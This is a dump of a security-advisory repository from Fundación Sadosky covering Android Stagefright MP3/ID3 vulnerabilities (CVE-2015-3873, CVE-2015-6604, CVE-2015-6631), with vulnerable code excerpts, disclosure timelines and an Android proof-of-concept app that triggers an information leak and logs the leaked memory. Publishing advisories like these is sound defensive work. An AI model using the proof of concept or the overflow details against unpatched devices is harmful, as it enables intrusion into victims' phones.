attacker could target exploitaiton to specific devices or during a specified timespan. 225 | 226 | 227 | ## 8. Report Timeline 228 | 229 | * **2015-08-18:** 230 | Technical details of the vulnerabilities sent to the vendor. 231 | 232 | * **2015-08-19:** 233 | The vendor marked the vulnerability as a duplicate of a previously reported issue (as AndroidID-23016072) and assured that the problem was already fixed in an internal branch. 234 | 235 | * **2015-08-20:** 236 | Programa STIC asked for the assigned CVE. 237 | 238 | * **2015-08-21:** 239 | The vendor informed that the bug was assigned CVE-2015-3873. 240 | 241 | * **2015-10-05:** 242 | Nexus security bulletin - October 2015 published. 243 | 244 | * **2015-10-09:** 245 | Vendor released a patch in Android Open Source Project (AOSP) repository. 246 | 247 | * **2016-1-22:** 248 | Advisory was released. 249 | 250 | ## 9. References 251 | 252 | 253 | 254 | ## 10. About Fundación Dr. Manuel Sadosky 255 | 256 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 257 | 258 | ## 11. Copyright Notice 259 | 260 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6604/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # >Vulnerabilidad en biblioteca de Android que procesa archivos de audio en formato MP3 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** >Vulnerabilidad en biblioteca de Android que procesa archivos de audio en formato MP3 8 | 9 | **Reporte ID:** CVE-2015-6604 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-1-22 16 | 17 | **Fabricantes contactados:** Google 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impacto:** Ejecución de código 28 | 29 | **Remotamente explotable:** Yes 30 | 31 | **Localmente explotable:** No 32 | 33 | **Identificador CVE:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6604](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6604) 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Stagefright es una biblioteca que corre en dispositivos Android que es utilizada como motor multimedia al procesar formatos como MP3, MP4, MKV, etc. 40 | 41 | Existe una vulnerabilidad en la biblioteca que se manifiesta al procesar archivos de audio con formato MP3 que incluyan un encabezado de tipo ID3 malformado. El bug puede ser utilizado por un potencial atacante para ejecutar comandos de manera remota en un dispositivo vulnerable y obtener acceso a los datos alojados en él. 42 | 43 | Para explotar el problema, un potencial atacante requeriría que la victima abra un archivo MP3 que incluya un encabezado tipo ID3 diseñado especialmente para el ataque. Esto podría lograrse ya sea enviando el archivo en un mensaje de texto, engañando a la víctima para que lo descargue de un sitio web controlado por el atacante o copiándolo desde alguna aplicación instalada en el dispositivo, por ejemplo alguna de mensajería instantánea. 44 | 45 | El problema fue catalogado como de severidad crítica por el fabricante (Google) y afecta aproximadamente al 93% de los dispositivos móviles Android de todo el mundo. 46 | 47 | 48 | ## 4. Paquetes vulnerables 49 | 50 | * Dispositivos corriendo Android Lollipop 5.1.1 sin las actualizaciones de seguridad de Octubre. 51 | 52 | ## 5. Información y soluciones del fabricante 53 | 54 | El fabricante solucionó el problema en el repositorio Android Open Source Project (AOSP) en Octubre del 2015 y notificó a sus asociados en Septiembre 10, 2015. El problema fue encontrado de forma independiente por Ian Beer de Project Zero y Joshua Drake de Zimperium. 55 | 56 | 57 | ## 6. Créditos 58 | 59 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 60 | 61 | ## 7. Descripción técnica 62 | 63 | En libstagefright, MP3Extractor procesa la metadata de tipo ID3 utilizando el método parseV2 en [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118) 64 | Tras encontrarse con un encabezado de tipo ID3 que especifica un "version_major" de 4 el siguiente código es alcanzado: 65 | 66 | ``` 67 | 195 if (header.version_major == 4) { 68 | 196 void *copy = malloc(size); 69 | 197 memcpy(copy, mData, size); 70 | 198 71 | 199 bool success = removeUnsynchronizationV2_4(false /* iTunesHack */); 72 | 200 if (!success) { 73 | 201 memcpy(mData, copy, size); 74 | 202 mSize = size; 75 | 203 76 | 204 success = removeUnsynchronizationV2_4(true /* iTunesHack */); 77 | 205 78 | 79 | 80 | ``` 81 | 82 | Si la primera llamada a removeUnsynchronizationV2_4 falla, la segunda llamada (con iTunesHack == true) utilizará directamente datos provistos por el usuario para determinar si el tamaño de datos provisto está dentro de los límites: 83 | 84 | ``` 85 | 326 bool ID3::removeUnsynchronizationV2_4(bool iTunesHack) { 86 | 327 size_t oldSize = mSize; 87 | 328 88 | 329 size_t offset = 0; 89 | 330 while (offset + 10 <= mSize) { 90 | 331 if (!memcmp(&mData[offset], "\0\0\0\0", 4)) { 91 | 332 break; 92 | 333 } 93 | 334 94 | 335 size_t dataSize; 95 | 336 if (iTunesHack) { 96 | 337 dataSize = U32_AT(&mData[offset + 4]); 97 | 338 } else if (!ParseSyncsafeInteger(&mData[offset + 4], &dataSize)) { 98 | 339 return false; 99 | 340 } 100 | 341 101 | 342 if (offset + dataSize + 10 > mSize) { 102 | 343 return false; 103 | 344 } 104 | 105 | 106 | ``` 107 | 108 | En la primera llamada, iTunesHack es falso por lo que la variable de dataSize se lee con el método [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#ParseSyncsafeInteger](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#ParseSyncsafeInteger) que fallará si el valor provisto es negativo. 109 | 110 | Sin embargo, en la segunda llamada (ITunesHack vale true) la variable dataSize será directamente cargada desde el buffer de entrada. Un entero suficientemente grande podría hacer que la suma en la linea 342 produzca un overflow y se pase dicha verificación de limites. 111 | 112 | Luego, cuando la variable dataSize será utilizada en un loop para iterar sobre el buffer de entrada y se copiará datos por fuera del límite del array de salida como se ve abajo: 113 | 114 | ``` 115 | 365 for (size_t i = 0; i + 1 < dataSize; ++i) { 116 | 366 if (mData[readOffset - 1] == 0xff 117 | 367 && mData[readOffset] == 0x00) { 118 | 368 ++readOffset; 119 | 369 --mSize; 120 | 370 --dataSize; 121 | 371 } 122 | 372 mData[writeOffset++] = mData[readOffset++]; 123 | 373 } 124 | 374 // move the remaining data following this frame 125 | 375 memmove(&mData[writeOffset], &mData[readOffset], oldSize - readOffset); 126 | 376 127 | 128 | 129 | ``` 130 | 131 | 132 | ## 8. Cronología del reporte 133 | 134 | * **2015-08-18:** 135 | Se enviaron detalles de las vulnerabilidades técnicas y prueba de concepto al fabricante. 136 | 137 | * **2015-08-12:** 138 | El fabricante marcó la vulnerabilidad como un duplicado de un issue previamente reportado por Project Zero y notó que estaba sujeto a un deadline de 90 días. 139 | 140 | * **2015-08-12:** 141 | El fabricante unió el issue 182510 con el reportado. 142 | 143 | * **2015-08-12:** 144 | El fabricante notificó que un arreglo para el bug ya había sido mergeado en los branches internos de su repositorio. 145 | 146 | * **2015-10-09:** 147 | El fabricante publicó un parche en el repositorio Android Open Source Project (AOSP). 148 | 149 | * **2015-10-09:** 150 | Programa STIC notificó al fabricante que el CVE asignado en el Bulletin de Octubre de Seguridad de Nexus era incorrecto y que el correcto era CVE-2015-6604. 151 | 152 | * **2016-1-22:** 153 | El reporte fue publicado. 154 | 155 | 156 | ## 9. Referencias 157 | 158 | 159 | 160 | ## 10. Acerca Fundación Dr. Manuel Sadosky 161 | 162 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 163 | 164 | ## 11. Derechos de autor 165 | 166 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6604/POC.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6604/POC.mp3 -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6604/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Android library while parsing MP3 audio files 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Android library while parsing MP3 audio files 8 | 9 | **Advisory ID:** CVE-2015-6604 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impact:** Code execution 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6604](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6604) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. 40 | 41 | A vulnerability exists in the library that is triggered when procesing a malformed ID3 header in an MP3 audio file. The bug can be used by a potential attacker to perform arbitrary operations on the victim device. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an MP3 audio file that includes an specially crafted ID3 header for the attack. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as critical severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 without October security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on October 2015 and notified it's partners on September 10, 2015. The problem was independently found by Ian Beer of Google's P0 and Joshua Drake of Zimperium. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | In libstagefright the MP3Extrator parses ID3 metadata using the parseV2 method in [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118) 64 | Upon encountering an ID3 header specifying a major version equal to 4 the following code is reached: 65 | 66 | ``` 67 | 195 if (header.version_major == 4) { 68 | 196 void *copy = malloc(size); 69 | 197 memcpy(copy, mData, size); 70 | 198 71 | 199 bool success = removeUnsynchronizationV2_4(false /* iTunesHack */); 72 | 200 if (!success) { 73 | 201 memcpy(mData, copy, size); 74 | 202 mSize = size; 75 | 203 76 | 204 success = removeUnsynchronizationV2_4(true /* iTunesHack */); 77 | 205 78 | 79 | 80 | ``` 81 | 82 | If the first call to removeUnsynchronizationV2_4 fails, the second call (with iTunesHack == true) will use user supplier data to determine if the provided datasize is within bounds: 83 | 84 | ``` 85 | 326 bool ID3::removeUnsynchronizationV2_4(bool iTunesHack) { 86 | 327 size_t oldSize = mSize; 87 | 328 88 | 329 size_t offset = 0; 89 | 330 while (offset + 10 <= mSize) { 90 | 331 if (!memcmp(&mData[offset], "\0\0\0\0", 4)) { 91 | 332 break; 92 | 333 } 93 | 334 94 | 335 size_t dataSize; 95 | 336 if (iTunesHack) { 96 | 337 dataSize = U32_AT(&mData[offset + 4]); 97 | 338 } else if (!ParseSyncsafeInteger(&mData[offset + 4], &dataSize)) { 98 | 339 return false; 99 | 340 } 100 | 341 101 | 342 if (offset + dataSize + 10 > mSize) { 102 | 343 return false; 103 | 344 } 104 | 105 | 106 | ``` 107 | 108 | On the first call iTunesHack is set to false and therefore the dataSize variable is filled in calling [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#ParseSyncsafeInteger](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#ParseSyncsafeInteger) which will fail if the supplied integer has the sign bit set. 109 | 110 | However, on the second call (ITunesHack set to true) the dataSize variable will be loaded directly from the input buffer. A large enough integer will make the sum in line 342 overflow and thus pass the bounds check. 111 | 112 | Later on the dataSize variable is used in a loop to iterate over the input buffer and copy data past the array bound of the output buffer as seen below: 113 | 114 | ``` 115 | 365 for (size_t i = 0; i + 1 < dataSize; ++i) { 116 | 366 if (mData[readOffset - 1] == 0xff 117 | 367 && mData[readOffset] == 0x00) { 118 | 368 ++readOffset; 119 | 369 --mSize; 120 | 370 --dataSize; 121 | 371 } 122 | 372 mData[writeOffset++] = mData[readOffset++]; 123 | 373 } 124 | 374 // move the remaining data following this frame 125 | 375 memmove(&mData[writeOffset], &mData[readOffset], oldSize - readOffset); 126 | 376 127 | 128 | 129 | ``` 130 | 131 | 132 | ## 8. Report Timeline 133 | 134 | * **2015-08-18:** 135 | Technical details of the vulnerabilities sent to the vendor. 136 | 137 | * **2015-08-12:** 138 | The vendor marked the vulnerability as a duplicate of a previously reported issue by Project Zero and had a 90 day deadline. 139 | 140 | * **2015-08-12:** 141 | The vendor merged issue 182510 into the reported issue. 142 | 143 | * **2015-08-12:** 144 | The vendor notified that a fix for the bug was merged into the internal branches. 145 | 146 | * **2015-10-05:** 147 | Nexus security bulletin - October 2015 published. 148 | 149 | * **2015-10-09:** 150 | Vendor released a patch in Android Open Source Project (AOSP) repository. 151 | 152 | * **2015-10-09:** 153 | Programa STIC notified the vendor that the CVE assigned in the Nexus Security Updates Bulletin from October 2015 was incorrect and that the right CVE seemed to be CVE-2015-6604. 154 | 155 | * **2016-1-22:** 156 | Advisory was released. 157 | 158 | ## 9. References 159 | 160 | 161 | 162 | ## 10. About Fundación Dr. Manuel Sadosky 163 | 164 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 165 | 166 | ## 11. Copyright Notice 167 | 168 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | MP3InfoLeak 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/.settings/org.eclipse.ltk.core.refactoring.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.ltk.core.refactoring.enable.project.refactoring.history=false 3 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 12 | 13 | 14 | 19 | 20 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/assets/new_bug.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/assets/new_bug.mp3 -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/ic_launcher-web.png -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/lint.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-23 15 | android.library.reference.1=../appcompat_v7 16 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/drawable-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/menu/main.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values-w820dp/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 64dp 9 | 10 | 11 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 16dp 5 | 16dp 6 | 7 | 8 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | MP3InfoLeak 5 | Hello world! 6 | Settings 7 | 8 | 9 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 14 | 15 | 16 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/MP3InfoLeak/src/ar/org/sadosky/mp3infoleak/MainActivity.java: -------------------------------------------------------------------------------- 1 | package ar.org.sadosky.mp3infoleak; 2 | 3 | 4 | import android.support.v7.app.ActionBarActivity; 5 | import android.content.res.AssetFileDescriptor; 6 | import android.media.MediaMetadataRetriever; 7 | import android.os.Bundle; 8 | import android.util.Log; 9 | import ar.org.sadosky.mp3infoleak.R; 10 | 11 | public class MainActivity extends ActionBarActivity { 12 | 13 | @Override 14 | protected void onCreate(Bundle savedInstanceState) { 15 | super.onCreate(savedInstanceState); 16 | setContentView(R.layout.activity_main); 17 | byte[] art = null; 18 | 19 | try { 20 | MediaMetadataRetriever metaRetriver = new MediaMetadataRetriever(); 21 | AssetFileDescriptor afd = getAssets().openFd("new_bug.mp3"); 22 | metaRetriver.setDataSource(afd.getFileDescriptor(),afd.getStartOffset(),afd.getLength()); 23 | art = metaRetriver.getEmbeddedPicture(); 24 | if(art.length > 10000){ 25 | Log.d("INFOLEAK", "Infoleak was succesful"); 26 | } 27 | String dump = bytesToHex(art).replaceAll("(.{8})(?!$)", "$1-"); 28 | int chunkCount = dump.length() / 4000; 29 | for (int i = 0; i <= chunkCount; i++) { 30 | int max = 4000 * (i + 1); 31 | if (max >= dump.length()) { 32 | Log.v("INFOLEAK", dump.substring(4000 * i)); 33 | } else { 34 | Log.v("INFOLEAK", dump.substring(4000 * i, max)); 35 | } 36 | } 37 | this.finish(); 38 | } catch (Exception e) { 39 | Log.d("INFOLEAK", "Infoleak was unsuccesful"); 40 | } 41 | } 42 | 43 | final protected static char[] hexArray = "0123456789ABCDEF".toCharArray(); 44 | public static String bytesToHex(byte[] bytes) { 45 | char[] hexChars = new char[bytes.length * 2]; 46 | for ( int j = 0; j < bytes.length; j++ ) { 47 | int v = bytes[j] & 0xFF; 48 | hexChars[j * 2] = hexArray[v >>> 4]; 49 | hexChars[j * 2 + 1] = hexArray[v & 0x0F]; 50 | } 51 | return new String(hexChars); 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-6631/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Info leak in android library while parsing a MP3 audio files 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Info leak in android library while parsing a MP3 audio files 8 | 9 | **Advisory ID:** CVE-2015-6631 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Integer Overflow [[http://cwe.mitre.org/data/definitions/190.html](http://cwe.mitre.org/data/definitions/190.html)] 26 | 27 | **Impact:** Data loss 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6631](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-6631) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. 40 | 41 | A vulnerability exists in the library that is triggered when procesing a malformed ID3 header in an MP3 audio file. The bug can be used by a potential attacker to obtain information about the execution environment of vulnerable devices that would help bypass Android's protection mechanism to hinder attacks. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an MP3 file that includes an specially crafted ID3 header for the attack. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as high severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 without December security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on December 2015 and notified it's partners on November 2, 2015. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | Parsing of ID3 metadata in MP3 audio file is done by the parseV2 method found in [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/id3/ID3.cpp#118) 64 | When header version major is 3 and flags is set to 4 the following code is used: 65 | 66 | ``` 67 | 226 mFirstFrameOffset = 0; 68 | 227 if (header.version_major == 3 && (header.flags & 0x40)) { 69 | 228 // Version 2.3 has an optional extended header. 70 | 229 71 | 230 if (mSize < 4) { 72 | 231 free(mData); 73 | 232 mData = NULL; 74 | 233 75 | 234 return false; 76 | 235 } 77 | 236 78 | 237 size_t extendedHeaderSize = U32_AT(&mData[0]) + 4; 79 | 238 80 | 239 if (extendedHeaderSize > mSize) { 81 | 240 free(mData); 82 | 241 mData = NULL; 83 | 242 84 | 243 return false; 85 | 244 } 86 | 245 87 | 246 mFirstFrameOffset = extendedHeaderSize; 88 | 247 89 | 248 uint16_t extendedFlags = 0; 90 | 249 if (extendedHeaderSize >= 6) { 91 | 250 extendedFlags = U16_AT(&mData[4]); 92 | 251 93 | 252 if (extendedHeaderSize >= 10) { 94 | 253 size_t paddingSize = U32_AT(&mData[6]); 95 | 254 96 | 255 if (mFirstFrameOffset + paddingSize > mSize) { 97 | 256 free(mData); 98 | 257 mData = NULL; 99 | 258 100 | 259 return false; 101 | 260 } 102 | 261 103 | 262 mSize -= paddingSize; 104 | 263 } 105 | 264 106 | 265 if (extendedFlags & 0x8000) { 107 | 266 ALOGV("have crc"); 108 | 267 } 109 | 268 } 110 | 111 | 112 | ``` 113 | 114 | At line 237 'extendedHeaderSize' is read from the input buffer as an unsigned 32-bit integer plus 4. 115 | 116 | At line 246 the value of 'extendedHeaderSize' is assigned to 'mFirstFrameOffset', also defined as an unsigned 32-bit integer. 117 | 118 | At line 253 